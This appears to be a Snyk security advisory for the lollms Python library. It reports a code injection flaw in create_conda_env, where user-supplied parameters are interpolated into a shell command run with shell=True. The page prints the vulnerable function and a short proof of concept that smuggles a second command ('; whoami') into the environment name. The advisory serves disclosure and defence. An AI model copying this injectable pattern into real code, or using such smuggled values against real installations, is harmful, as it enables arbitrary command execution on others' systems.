Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Improper Control of Generation of Code ('Code Injection') vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for lollms
.
lollms is a python library for AI personality definition
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the create_conda_env
function. An attacker can execute arbitrary commands by manipulating the env_name
and python_version
parameters.
import subprocess
import sys
import os
def create_conda_env(env_name, python_version):
# Activate the Conda environment
if platform.system()=="Windows":
conda_path = Path(sys.executable).parent.parent/"miniconda3"/"condabin"/"conda"
else:
conda_path = Path(sys.executable).parent.parent.parent/"miniconda3"/"bin"/"conda"
ASCIIColors.red("Conda path:")
ASCIIColors.yellow(conda_path)
process = subprocess.Popen(f'{conda_path} create --name {env_name} python={python_version} -y', shell=True)
# POC for the remote code execution vulnerability
create_conda_env("test_env; whoami", "3.9")